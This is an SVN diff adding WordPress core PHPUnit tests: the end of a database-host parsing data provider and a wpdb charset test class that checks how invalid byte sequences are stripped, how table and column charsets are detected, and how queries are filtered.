+			$this->assertFalse( $data );
+		} else {
+			$this->assertInternalType( 'array', $data );
+
+			list( $parsed_host, $parsed_port, $parsed_socket, $parsed_is_ipv6 ) = $data;
+
+			$this->assertSame( $host, $parsed_host );
+			$this->assertSame( $port, $parsed_port );
+			$this->assertSame( $socket, $parsed_socket );
+			$this->assertSame( $is_ipv6, $parsed_is_ipv6 );
+		}
+	}
+
+	public function parse_db_host_data_provider() {
+		return array(
+			array(
+				'',    // DB_HOST
+				false, // Expect parse_db_host to bail for this hostname
+				'',    // Parsed host
+				null,  // Parsed port
+				null,  // Parsed socket
+				false, // is_ipv6
+			),
+			array(
+				':3306',
+				false,
+				'',
+				'3306',
+				null,
+				false,
+			),
+			array(
+				':/tmp/mysql.sock',
+				false,
+				'',
+				null,
+				'/tmp/mysql.sock',
+				false,
+			),
+			array(
+				':/tmp/mysql:with_colon.sock',
+				false,
+				'',
+				null,
+				'/tmp/mysql:with_colon.sock',
+				false,
+			),
+			array(
+				'127.0.0.1',
+				false,
+				'127.0.0.1',
+				null,
+				null,
+				false,
+			),
+			array(
+				'127.0.0.1:3306',
+				false,
+				'127.0.0.1',
+				'3306',
+				null,
+				false,
+			),
+			array(
+				'127.0.0.1:3306:/tmp/mysql:with_colon.sock',
+				false,
+				'127.0.0.1',
+				'3306',
+				'/tmp/mysql:with_colon.sock',
+				false,
+			),
+			array(
+				'example.com',
+				false,
+				'example.com',
+				null,
+				null,
+				false,
+			),
+			array(
+				'example.com:3306',
+				false,
+				'example.com',
+				'3306',
+				null,
+				false,
+			),
+			array(
+				'localhost',
+				false,
+				'localhost',
+				null,
+				null,
+				false,
+			),
+			array(
+				'localhost:/tmp/mysql.sock',
+				false,
+				'localhost',
+				null,
+				'/tmp/mysql.sock',
+				false,
+			),
+			array(
+				'localhost:/tmp/mysql:with_colon.sock',
+				false,
+				'localhost',
+				null,
+				'/tmp/mysql:with_colon.sock',
+				false,
+			),
+			array(
+				'0000:0000:0000:0000:0000:0000:0000:0001',
+				false,
+				'0000:0000:0000:0000:0000:0000:0000:0001',
+				null,
+				null,
+				true,
+			),
+			array(
+				'::1',
+				false,
+				'::1',
+				null,
+				null,
+				true,
+			),
+			array(
+				'[::1]',
+				false,
+				'::1',
+				null,
+				null,
+				true,
+			),
+			array(
+				'[::1]:3306',
+				false,
+				'::1',
+				'3306',
+				null,
+				true,
+			),
+			array(
+				'[::1]:3306:/tmp/mysql:with_colon.sock',
+				false,
+				'::1',
+				'3306',
+				'/tmp/mysql:with_colon.sock',
+				true,
+			),
+			array(
+				'2001:0db8:0000:0000:0000:ff00:0042:8329',
+				false,
+				'2001:0db8:0000:0000:0000:ff00:0042:8329',
+				null,
+				null,
+				true,
+			),
+			array(
+				'2001:db8:0:0:0:ff00:42:8329',
+				false,
+				'2001:db8:0:0:0:ff00:42:8329',
+				null,
+				null,
+				true,
+			),
+			array(
+				'2001:db8::ff00:42:8329',
+				false,
+				'2001:db8::ff00:42:8329',
+				null,
+				null,
+				true,
+			),
+			array(
+				'?::',
+				true,
+				null,
+				null,
+				null,
+				false,
+			),
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/db/charset.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/db/charset.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/db/charset.php	(revision 56912)
@@ -0,0 +1,928 @@
+<?php
+
+/**
+ * Test WPDB methods
+ *
+ * @group wpdb
+ * @group security-153
+ */
+class Tests_DB_Charset extends WP_UnitTestCase {
+
+	/**
+	 * Our special WPDB
+	 * @var resource
+	 */
+	protected static $_wpdb;
+
+	/**
+	 * The version of the MySQL server.
+	 *
+	 * @var string
+	 */
+	private static $server_info;
+
+	public static function setUpBeforeClass() {
+		parent::setUpBeforeClass();
+
+		require_once( dirname( dirname( __FILE__ ) ) . '/db.php' );
+
+		self::$_wpdb = new wpdb_exposed_methods_for_testing();
+
+		if ( self::$_wpdb->use_mysqli ) {
+			self::$server_info = mysqli_get_server_info( self::$_wpdb->dbh );
+		} else {
+			self::$server_info = mysql_get_server_info( self::$_wpdb->dbh );
+		}
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function data_strip_invalid_text() {
+		$fields = array(
+			'latin1' => array(
+				// latin1. latin1 never changes.
+				'charset'  => 'latin1',
+				'value'    => "\xf0\x9f\x8e\xb7",
+				'expected' => "\xf0\x9f\x8e\xb7",
+				'length'   => array( 'type' => 'char', 'length' => 100 ),
+			),
+			'latin1_char_length' => array(
+				// latin1. latin1 never changes.
+				'charset'  => 'latin1',
+				'value'    => str_repeat( 'A', 11 ),
+				'expected' => str_repeat( 'A', 10 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'latin1_byte_length' => array(
+				// latin1. latin1 never changes.
+				'charset'  => 'latin1',
+				'value'    => str_repeat( 'A', 11 ),
+				'expected' => str_repeat( 'A', 10 ),
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'ascii' => array(
+				// ascii gets special treatment, make sure it's covered
+				'charset'  => 'ascii',
+				'value'    => 'Hello World',
+				'expected' => 'Hello World',
+				'length'   => array( 'type' => 'char', 'length' => 100 ),
+			),
+			'ascii_char_length' => array(
+				// ascii gets special treatment, make sure it's covered
+				'charset'  => 'ascii',
+				'value'    => str_repeat( 'A', 11 ),
+				'expected' => str_repeat( 'A', 10 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'ascii_byte_length' => array(
+				// ascii gets special treatment, make sure it's covered
+				'charset'  => 'ascii',
+				'value'    => str_repeat( 'A', 11 ),
+				'expected' => str_repeat( 'A', 10 ),
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'utf8' => array(
+				// utf8 only allows <= 3-byte chars
+				'charset'  => 'utf8',
+				'value'    => "H€llo\xf0\x9f\x98\x88World¢",
+				'expected' => 'H€lloWorld¢',
+				'length'   => array( 'type' => 'char', 'length' => 100 ),
+			),
+			'utf8_23char_length' => array(
+				// utf8 only allows <= 3-byte chars
+				'charset'  => 'utf8',
+				'value'    => str_repeat( "²３", 10 ),
+				'expected' => str_repeat( "²３", 5 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'utf8_23byte_length' => array(
+				// utf8 only allows <= 3-byte chars
+				'charset'  => 'utf8',
+				'value'    => str_repeat( "²３", 10 ),
+				'expected' => "²３²３",
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'utf8_3char_length' => array(
+				// utf8 only allows <= 3-byte chars
+				'charset'  => 'utf8',
+				'value'    => str_repeat( "３", 11 ),
+				'expected' => str_repeat( "３", 10 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'utf8_3byte_length' => array(
+				// utf8 only allows <= 3-byte chars
+				'charset'  => 'utf8',
+				'value'    => str_repeat( "３", 11 ),
+				'expected' => "３３３",
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'utf8mb3' => array(
+				// utf8mb3 should behave the same an utf8
+				'charset'  => 'utf8mb3',
+				'value'    => "H€llo\xf0\x9f\x98\x88World¢",
+				'expected' => 'H€lloWorld¢',
+				'length'   => array( 'type' => 'char', 'length' => 100 ),
+			),
+			'utf8mb3_23char_length' => array(
+				// utf8mb3 should behave the same an utf8
+				'charset'  => 'utf8mb3',
+				'value'    => str_repeat( "²３", 10 ),
+				'expected' => str_repeat( "²３", 5 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'utf8mb3_23byte_length' => array(
+				// utf8mb3 should behave the same an utf8
+				'charset'  => 'utf8mb3',
+				'value'    => str_repeat( "²３", 10 ),
+				'expected' => "²３²３",
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'utf8mb3_3char_length' => array(
+				// utf8mb3 should behave the same an utf8
+				'charset'  => 'utf8mb3',
+				'value'    => str_repeat( "３", 11 ),
+				'expected' => str_repeat( "３", 10 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'utf8mb3_3byte_length' => array(
+				// utf8mb3 should behave the same an utf8
+				'charset'  => 'utf8mb3',
+				'value'    => str_repeat( "３", 10 ),
+				'expected' => "３３３",
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'utf8mb4' => array(
+				// utf8mb4 allows 4-byte characters, too
+				'charset'  => 'utf8mb4',
+				'value'    => "H€llo\xf0\x9f\x98\x88World¢",
+				'expected' => "H€llo\xf0\x9f\x98\x88World¢",
+				'length'   => array( 'type' => 'char', 'length' => 100 ),
+			),
+			'utf8mb4_234char_length' => array(
+				// utf8mb4 allows 4-byte characters, too
+				'charset'  => 'utf8mb4',
+				'value'    => str_repeat( "²３𝟜", 10 ),
+				'expected' => "²３𝟜²３𝟜²３𝟜²",
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'utf8mb4_234byte_length' => array(
+				// utf8mb4 allows 4-byte characters, too
+				'charset'  => 'utf8mb4',
+				'value'    => str_repeat( "²３𝟜", 10 ),
+				'expected' => "²３𝟜",
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'utf8mb4_4char_length' => array(
+				// utf8mb4 allows 4-byte characters, too
+				'charset'  => 'utf8mb4',
+				'value'    => str_repeat( "𝟜", 11 ),
+				'expected' => str_repeat( "𝟜", 10 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'utf8mb4_4byte_length' => array(
+				// utf8mb4 allows 4-byte characters, too
+				'charset'  => 'utf8mb4',
+				'value'    => str_repeat( "𝟜", 10 ),
+				'expected' => "𝟜𝟜",
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'koi8r' => array(
+				'charset'  => 'koi8r',
+				'value'    => "\xfdord\xf2ress",
+				'expected' => "\xfdord\xf2ress",
+				'length'   => array( 'type' => 'char', 'length' => 100 ),
+			),
+			'koi8r_char_length' => array(
+				'charset'  => 'koi8r',
+				'value'    => str_repeat( "\xfd\xf2", 10 ),
+				'expected' => str_repeat( "\xfd\xf2", 5 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'koi8r_byte_length' => array(
+				'charset'  => 'koi8r',
+				'value'    => str_repeat( "\xfd\xf2", 10 ),
+				'expected' => str_repeat( "\xfd\xf2", 5 ),
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'hebrew' => array(
+				'charset'  => 'hebrew',
+				'value'    => "\xf9ord\xf7ress",
+				'expected' => "\xf9ord\xf7ress",
+				'length'   => array( 'type' => 'char', 'length' => 100 ),
+			),
+			'hebrew_char_length' => array(
+				'charset'  => 'hebrew',
+				'value'    => str_repeat( "\xf9\xf7", 10 ),
+				'expected' => str_repeat( "\xf9\xf7", 5 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'hebrew_byte_length' => array(
+				'charset'  => 'hebrew',
+				'value'    => str_repeat( "\xf9\xf7", 10 ),
+				'expected' => str_repeat( "\xf9\xf7", 5 ),
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'cp1251' => array(
+				'charset'  => 'cp1251',
+				'value'    => "\xd8ord\xd0ress",
+				'expected' => "\xd8ord\xd0ress",
+				'length'   => array( 'type' => 'char', 'length' => 100 ),
+			),
+			'cp1251_no_length' => array(
+				'charset'  => 'cp1251',
+				'value'    => "\xd8ord\xd0ress",
+				'expected' => "\xd8ord\xd0ress",
+				'length'   => false,
+			),
+			'cp1251_no_length_ascii' => array(
+				'charset'  => 'cp1251',
+				'value'    => "WordPress",
+				'expected' => "WordPress",
+				'length'   => false,
+				// Don't set 'ascii' => true/false.
+				// That's a different codepath than it being unset even if
+				// three's only only ASCII in the value.
+			),
+			'cp1251_char_length' => array(
+				'charset'  => 'cp1251',
+				'value'    => str_repeat( "\xd8\xd0", 10 ),
+				'expected' => str_repeat( "\xd8\xd0", 5 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'cp1251_byte_length' => array(
+				'charset'  => 'cp1251',
+				'value'    => str_repeat( "\xd8\xd0", 10 ),
+				'expected' => str_repeat( "\xd8\xd0", 5 ),
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'tis620' => array(
+				'charset'  => 'tis620',
+				'value'    => "\xccord\xe3ress",
+				'expected' => "\xccord\xe3ress",
+				'length'   => array( 'type' => 'char', 'length' => 100 ),
+			),
+			'tis620_char_length' => array(
+				'charset'  => 'tis620',
+				'value'    => str_repeat( "\xcc\xe3", 10 ),
+				'expected' => str_repeat( "\xcc\xe3", 5 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'tis620_byte_length' => array(
+				'charset'  => 'tis620',
+				'value'    => str_repeat( "\xcc\xe3", 10 ),
+				'expected' => str_repeat( "\xcc\xe3", 5 ),
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'ujis_with_utf8_connection' => array(
+				'charset'            => 'ujis',
+				'connection_charset' => 'utf8',
+				'value'              => '自動下書き',
+				'expected'           => '自動下書き',
+				'length'             => array( 'type' => 'byte', 'length' => 100 ),
+			),
+			'ujis_with_utf8_connection_char_length' => array(
+				'charset'            => 'ujis',
+				'connection_charset' => 'utf8',
+				'value'              => '自動下書き',
+				'expected'           => '自動下書',
+				'length'             => array( 'type' => 'char', 'length' => 4 ),
+			),
+			'ujis_with_utf8_connection_byte_length' => array(
+				'charset'            => 'ujis',
+				'connection_charset' => 'utf8',
+				'value'              => '自動下書き',
+				'expected'           => '自動',
+				'length'             => array( 'type' => 'byte', 'length' => 6 ),
+			),
+			'false' => array(
+				// false is a column with no character set (ie, a number column)
+				'charset'  => false,
+				'value'    => 100,
+				'expected' => 100,
+				'length'   => false,
+			),
+		);
+
+		if ( function_exists( 'mb_convert_encoding' ) ) {
+			// big5 is a non-Unicode multibyte charset
+			$utf8 = "a\xe5\x85\xb1b"; // UTF-8 Character 20849
+			$big5 = mb_convert_encoding( $utf8, 'BIG-5', 'UTF-8' );
+			$conv_utf8 = mb_convert_encoding( $big5, 'UTF-8', 'BIG-5' );
+			// Make sure PHP's multibyte conversions are working correctly
+			$this->assertNotEquals( $utf8, $big5 );
+			$this->assertEquals( $utf8, $conv_utf8 );
+
+			$fields['big5'] = array(
+				'charset'  => 'big5',
+				'value'    => $big5,
+				'expected' => $big5,
+				'length'   => array( 'type' => 'char', 'length' => 100 ),
+			);
+
+			$fields['big5_char_length'] = array(
+				'charset'  => 'big5',
+				'value'    => str_repeat( $big5, 10 ),
+				'expected' => str_repeat( $big5, 3 ) . 'a',
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			);
+
+			$fields['big5_byte_length'] = array(
+				'charset'  => 'big5',
+				'value'    => str_repeat( $big5, 10 ),
+				'expected' => str_repeat( $big5, 2 ) . 'a',
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			);
+		}
+
+		// The data above is easy to edit. Now, prepare it for the data provider.
+		$data_provider = $multiple = $multiple_expected = array();
+		foreach ( $fields as $test_case => $field ) {
+			$expected = $field;
+			$expected['value'] = $expected['expected'];
+			unset( $expected['expected'], $field['expected'], $expected['connection_charset'] );
+
+			// We're keeping track of these for our multiple-field test.
+			$multiple[] = $field;
+			$multiple_expected[] = $expected;
+
+			// strip_invalid_text() expects an array of fields. We're testing one field at a time.
+			$data = array( $field );
+			$expected = array( $expected );
+
+			// First argument is field data. Second is expected. Third is the message.
+			$data_provider[] = array( $data, $expected, $test_case );
+		}
+
+		return $data_provider;
+	}
+
+	/**
+	 * @dataProvider data_strip_invalid_text
+	 * @ticket 21212
+	 */
+	function test_strip_invalid_text( $data, $expected, $message ) {
+		if ( version_compare( PHP_VERSION, '5.3', '<') && stristr( php_uname( 's' ), 'win' ) ) {
+			$this->markTestSkipped( 'This test fails in PHP 5.2 on Windows. See https://core.trac.wordpress.org/ticket/31262' );
+		}
+
+		$charset = self::$_wpdb->charset;
+		if ( isset( $data[0]['connection_charset'] ) ) {
+			$new_charset = $data[0]['connection_charset'];
+			unset( $data[0]['connection_charset'] );
+		} else {
+			$new_charset = $data[0]['charset'];
+		}
+
+		if ( 'utf8mb4' === $new_charset && ! self::$_wpdb->has_cap( 'utf8mb4' ) ) {
+			$this->markTestSkipped( "The current MySQL server doesn't support the utf8mb4 character set." );
+		}
+
+		if ( 'big5' === $new_charset && 'byte' === $data[0]['length']['type'] && false !== strpos( self::$server_info, 'MariaDB' ) ) {
+			$this->markTestSkipped( "MariaDB doesn't support this data set. See https://core.trac.wordpress.org/ticket/33171." );
+		}
+
+		self::$_wpdb->charset = $new_charset;
+		self::$_wpdb->set_charset( self::$_wpdb->dbh, $new_charset );
+
+		$actual = self::$_wpdb->strip_invalid_text( $data );
+
+		self::$_wpdb->charset = $charset;
+		self::$_wpdb->set_charset( self::$_wpdb->dbh, $charset );
+
+		$this->assertSame( $expected, $actual, $message );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function test_process_fields_failure() {
+		global $wpdb;
+
+		$charset = $wpdb->get_col_charset( $wpdb->posts, 'post_content' );
+		if ( 'utf8' !== $charset && 'utf8mb4' !== $charset ) {
+			$this->markTestSkipped( 'This test requires a utf8 character set' );
+		}
+
+		// \xf0\xff\xff\xff is invalid in utf8 and utf8mb4.
+		$data = array( 'post_content' => "H€llo\xf0\xff\xff\xffWorld¢" );
+		$this->assertFalse( self::$_wpdb->process_fields( $wpdb->posts, $data, null ) );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function data_process_field_charsets() {
+		if ( $GLOBALS['wpdb']->charset ) {
+			$charset = $GLOBALS['wpdb']->charset;
+		} else {
+			$charset = $GLOBALS['wpdb']->get_col_charset( $GLOBALS['wpdb']->posts, 'post_content' );
+		}
+
+		// 'value' and 'format' are $data, 'charset' ends up as part of $expected
+
+		$no_string_fields = array(
+			'post_parent' => array( 'value' => 10, 'format' => '%d', 'charset' => false ),
+			'comment_count' => array( 'value' => 0, 'format' => '%d', 'charset' => false ),
+		);
+
+		$all_ascii_fields = array(
+			'post_content' => array( 'value' => 'foo foo foo!', 'format' => '%s', 'charset' => $charset ),
+			'post_excerpt' => array( 'value' => 'bar bar bar!', 'format' => '%s', 'charset' => $charset ),
+		);
+
+		// This is the same data used in process_field_charsets_for_nonexistent_table()
+		$non_ascii_string_fields = array(
+			'post_content' => array( 'value' => '¡foo foo foo!', 'format' => '%s', 'charset' => $charset ),
+			'post_excerpt' => array( 'value' => '¡bar bar bar!', 'format' => '%s', 'charset' => $charset ),
+		);
+
+		$vars = get_defined_vars();
+		unset( $vars['charset'] );
+		foreach ( $vars as $var_name => $var ) {
+			$data = $expected = $var;
+			foreach ( $data as &$datum ) {
+				// 'charset' and 'ascii' are part of the expected return only.
+				unset( $datum['charset'], $datum['ascii'] );
+			}
+
+			$vars[ $var_name ] = array( $data, $expected, $var_name );
+		}
+
+		return array_values( $vars );
+	}
+
+	/**
+	 * @dataProvider data_process_field_charsets
+	 * @ticket 21212
+	 */
+	function test_process_field_charsets( $data, $expected, $message ) {
+		$actual = self::$_wpdb->process_field_charsets( $data, $GLOBALS['wpdb']->posts );
+		$this->assertSame( $expected, $actual, $message );
+	}
+
+	/**
+	 * The test this test depends on first verifies that this
+	 * would normally work against the posts table.
+	 *
+	 * @ticket 21212
+	 * @depends test_process_field_charsets
+	 */
+	function test_process_field_charsets_on_nonexistent_table() {
+		$data = array( 'post_content' => array( 'value' => '¡foo foo foo!', 'format' => '%s' ) );
+		self::$_wpdb->suppress_errors( true );
+		$this->assertFalse( self::$_wpdb->process_field_charsets( $data, 'nonexistent_table' ) );
+		self::$_wpdb->suppress_errors( false );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function test_check_ascii() {
+		$ascii = "\0\t\n\r '" . '!"#$%&()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~';
+		$this->assertTrue( self::$_wpdb->check_ascii( $ascii ) );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function test_check_ascii_false() {
+		$this->assertFalse( self::$_wpdb->check_ascii( 'ABCDEFGHIJKLMNOPQRSTUVWXYZ¡©«' ) );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function test_strip_invalid_text_for_column() {
+		global $wpdb;
+
+		$charset = $wpdb->get_col_charset( $wpdb->posts, 'post_content' );
+		if ( 'utf8' !== $charset && 'utf8mb4' !== $charset ) {
+			$this->markTestSkipped( 'This test requires a utf8 character set' );
+		}
+
+		// Invalid 3-byte and 4-byte sequences
+		$value = "H€llo\xe0\x80\x80World\xf0\xff\xff\xff¢";
+		$expected = "H€lloWorld¢";
+		$actual = $wpdb->strip_invalid_text_for_column( $wpdb->posts, 'post_content', $value );
+		$this->assertEquals( $expected, $actual );
+	}
+
+	/**
+	 * Set of table definitions for testing wpdb::get_table_charset and wpdb::get_column_charset
+	 * @var array
+	 */
+	protected $table_and_column_defs = array(
+		array(
+			'definition'      => '( a INT, b FLOAT )',
+			'table_expected'  => false,
+			'column_expected' => array( 'a' => false, 'b' => false )
+		),
+		array(
+			'definition'      => '( a VARCHAR(50) CHARACTER SET big5, b TEXT CHARACTER SET big5 )',
+			'table_expected'  => 'big5',
+			'column_expected' => array( 'a' => 'big5', 'b' => 'big5' )
+		),
+		array(
+			'definition'      => '( a VARCHAR(50) CHARACTER SET big5, b BINARY )',
+			'table_expected'  => 'binary',
+			'column_expected' => array( 'a' => 'big5', 'b' => false )
+		),
+		array(
+			'definition'      => '( a VARCHAR(50) CHARACTER SET latin1, b BLOB )',
+			'table_expected'  => 'binary',
+			'column_expected' => array( 'a' => 'latin1', 'b' => false )
+		),
+		array(
+			'definition'      => '( a VARCHAR(50) CHARACTER SET latin1, b TEXT CHARACTER SET koi8r )',
+			'table_expected'  => 'koi8r',
+			'column_expected' => array( 'a' => 'latin1', 'b' => 'koi8r' )
+		),
+		array(
+			'definition'      => '( a VARCHAR(50) CHARACTER SET utf8mb3, b TEXT CHARACTER SET utf8mb3 )',
+			'table_expected'  => 'utf8',
+			'column_expected' => array( 'a' => 'utf8', 'b' => 'utf8' )
+		),
+		array(
+			'definition'      => '( a VARCHAR(50) CHARACTER SET utf8, b TEXT CHARACTER SET utf8mb4 )',
+			'table_expected'  => 'utf8',
+			'column_expected' => array( 'a' => 'utf8', 'b' => 'utf8mb4' )
+		),
+		array(
+			'definition'      => '( a VARCHAR(50) CHARACTER SET big5, b TEXT CHARACTER SET koi8r )',
+			'table_expected'  => 'ascii',
+			'column_expected' => array( 'a' => 'big5', 'b' => 'koi8r' )
+		),
+	);
+
+	/**
+	 * @ticket 21212
+	 */
+	function data_test_get_table_charset() {
+		$table_name = 'test_get_table_charset';
+
+		$vars = array();
+		foreach( $this->table_and_column_defs as $i => $value ) {
+			$this_table_name = $table_name . '_' . $i;
+			$drop = "DROP TABLE IF EXISTS $this_table_name";
+			$create = "CREATE TABLE $this_table_name {$value['definition']}";
+			$vars[] = array( $drop, $create, $this_table_name, $value['table_expected'] );
+		}
+
+		return $vars;
+	}
+
+	/**
+	 * @dataProvider data_test_get_table_charset
+	 * @ticket 21212
+	 */
+	function test_get_table_charset( $drop, $create, $table, $expected_charset ) {
+		self::$_wpdb->query( $drop );
+
+		if ( ! self::$_wpdb->has_cap( 'utf8mb4' ) && preg_match( '/utf8mb[34]/i', $create ) ) {
+			$this->markTestSkipped( "This version of MySQL doesn't support utf8mb4." );
+			return;
+		}
+
+		self::$_wpdb->query( $create );
+
+		$charset = self::$_wpdb->get_table_charset( $table );
+		$this->assertEquals( $charset, $expected_charset );
+
+		$charset = self::$_wpdb->get_table_charset( strtoupper( $table ) );
+		$this->assertEquals( $charset, $expected_charset );
+
+		self::$_wpdb->query( $drop );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function data_test_get_column_charset() {
+		$table_name = 'test_get_column_charset';
+
+		$vars = array();
+		foreach( $this->table_and_column_defs as $i => $value ) {
+			$this_table_name = $table_name . '_' . $i;
+			$drop = "DROP TABLE IF EXISTS $this_table_name";
+			$create = "CREATE TABLE $this_table_name {$value['definition']}";
+			$vars[] = array( $drop, $create, $this_table_name, $value['column_expected'] );
+		}
+
+		return $vars;
+	}
+
+	/**
+	 * @dataProvider data_test_get_column_charset
+	 * @ticket 21212
+	 */
+	function test_get_column_charset( $drop, $create, $table, $expected_charset ) {
+		self::$_wpdb->query( $drop );
+
+		if ( ! self::$_wpdb->has_cap( 'utf8mb4' ) && preg_match( '/utf8mb[34]/i', $create ) ) {
+			$this->markTestSkipped( "This version of MySQL doesn't support utf8mb4." );
+			return;
+		}
+
+		self::$_wpdb->query( $create );
+
+		foreach ( $expected_charset as $column => $charset ) {
+			$this->assertEquals( $charset, self::$_wpdb->get_col_charset( $table, $column ) );
+			$this->assertEquals( $charset, self::$_wpdb->get_col_charset( strtoupper( $table ), strtoupper( $column ) ) );
+		}
+
+		self::$_wpdb->query( $drop );
+	}
+
+	/**
+	 * @dataProvider data_test_get_column_charset
+	 * @ticket 21212
+	 */
+	function test_get_column_charset_non_mysql( $drop, $create, $table, $columns ) {
+		self::$_wpdb->query( $drop );
+
+		if ( ! self::$_wpdb->has_cap( 'utf8mb4' ) && preg_match( '/utf8mb[34]/i', $create ) ) {
+			$this->markTestSkipped( "This version of MySQL doesn't support utf8mb4." );
+			return;
+		}
+
+		self::$_wpdb->is_mysql = false;
+
+		self::$_wpdb->query( $create );
+
+		$columns = array_keys( $columns );
+		foreach ( $columns as $column => $charset ) {
+			$this->assertEquals( false, self::$_wpdb->get_col_charset( $table, $column ) );
+		}
+
+		self::$_wpdb->query( $drop );
+
+		self::$_wpdb->is_mysql = true;
+	}
+
+	/**
+	 * @dataProvider data_test_get_column_charset
+	 * @ticket 33501
+	 */
+	function test_get_column_charset_is_mysql_undefined( $drop, $create, $table, $columns ) {
+		self::$_wpdb->query( $drop );
+
+		if ( ! self::$_wpdb->has_cap( 'utf8mb4' ) && preg_match( '/utf8mb[34]/i', $create ) ) {
+			$this->markTestSkipped( "This version of MySQL doesn't support utf8mb4." );
+			return;
+		}
+
+		unset( self::$_wpdb->is_mysql );
+
+		self::$_wpdb->query( $create );
+
+		$columns = array_keys( $columns );
+		foreach ( $columns as $column => $charset ) {
+			$this->assertEquals( false, self::$_wpdb->get_col_charset( $table, $column ) );
+		}
+
+		self::$_wpdb->query( $drop );
+
+		self::$_wpdb->is_mysql = true;
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function data_strip_invalid_text_from_query() {
+		$table_name = 'strip_invalid_text_from_query_table';
+		$data = array(
+			array(
+				// binary tables don't get stripped
+				"( a VARCHAR(50) CHARACTER SET utf8, b BINARY )", // create
+				"('foo\xf0\x9f\x98\x88bar', 'foo')",              // query
+				"('foo\xf0\x9f\x98\x88bar', 'foo')"               // expected result
+			),
+			array(
+				// utf8/utf8mb4 tables default to utf8
+				"( a VARCHAR(50) CHARACTER SET utf8, b VARCHAR(50) CHARACTER SET utf8mb4 )",
+				"('foo\xf0\x9f\x98\x88bar', 'foo')",
+				"('foobar', 'foo')"
+			),
+		);
+
+		foreach( $data as $i => &$value ) {
+			$this_table_name = $table_name . '_' . $i;
+
+			$value[0] = "CREATE TABLE $this_table_name {$value[0]}";
+			$value[1] = "INSERT INTO $this_table_name VALUES {$value[1]}";
+			$value[2] = "INSERT INTO $this_table_name VALUES {$value[2]}";
+			$value[3] = "DROP TABLE IF EXISTS $this_table_name";
+		}
+		unset( $value );
+
+		return $data;
+	}
+
+	/**
+	 * @dataProvider data_strip_invalid_text_from_query
+	 * @ticket 21212
+	 */
+	function test_strip_invalid_text_from_query( $create, $query, $expected, $drop ) {
+		self::$_wpdb->query( $drop );
+
+		if ( ! self::$_wpdb->has_cap( 'utf8mb4' ) && preg_match( '/utf8mb[34]/i', $create ) ) {
+			$this->markTestSkipped( "This version of MySQL doesn't support utf8mb4." );
+			return;
+		}
+
+		self::$_wpdb->query( $create );
+
+		$return = self::$_wpdb->strip_invalid_text_from_query( $query );
+		$this->assertEquals( $expected, $return );
+
+		self::$_wpdb->query( $drop );
+	}
+
+	/**
+	 * @ticket 32104
+	 */
+	function data_dont_strip_text_from_schema_queries() {
+		// An obviously invalid and fake table name.
+		$table_name = "\xff\xff\xff\xff";
+
+		$queries = array(
+			"SHOW CREATE TABLE $table_name",
+			"DESCRIBE $table_name",
+			"DESC $table_name",
+			"EXPLAIN SELECT * FROM $table_name",
+			"CREATE $table_name( a VARCHAR(100))",
+		);
+
+		foreach ( $queries as &$query ) {
+			$query = array( $query );
+		}
+		unset( $query );
+
+		return $queries;
+	}
+
+	/**
+	 * @dataProvider data_dont_strip_text_from_schema_queries
+	 * @ticket 32104
+	 */
+	function test_dont_strip_text_from_schema_queries( $query ) {
+		$return = self::$_wpdb->strip_invalid_text_from_query( $query );
+		$this->assertEquals( $query, $return );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function test_invalid_characters_in_query() {
+		global $wpdb;
+
+		$charset = $wpdb->get_col_charset( $wpdb->posts, 'post_content' );
+		if ( 'utf8' !== $charset && 'utf8mb4' !== $charset ) {
+			$this->markTestSkipped( 'This test requires a utf8 character set' );
+		}
+
+		$this->assertFalse( $wpdb->query( "INSERT INTO {$wpdb->posts} (post_content) VALUES ('foo\xf0\xff\xff\xffbar')" ) );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function data_table_collation_check() {
+		$table_name = 'table_collation_check';
+		$data = array(
+			array(
+				// utf8_bin tables don't need extra sanity checking.
+				"( a VARCHAR(50) COLLATE utf8_bin )", // create
+				true                                  // expected result
+			),
+			array(
+				// Neither do utf8_general_ci tables.
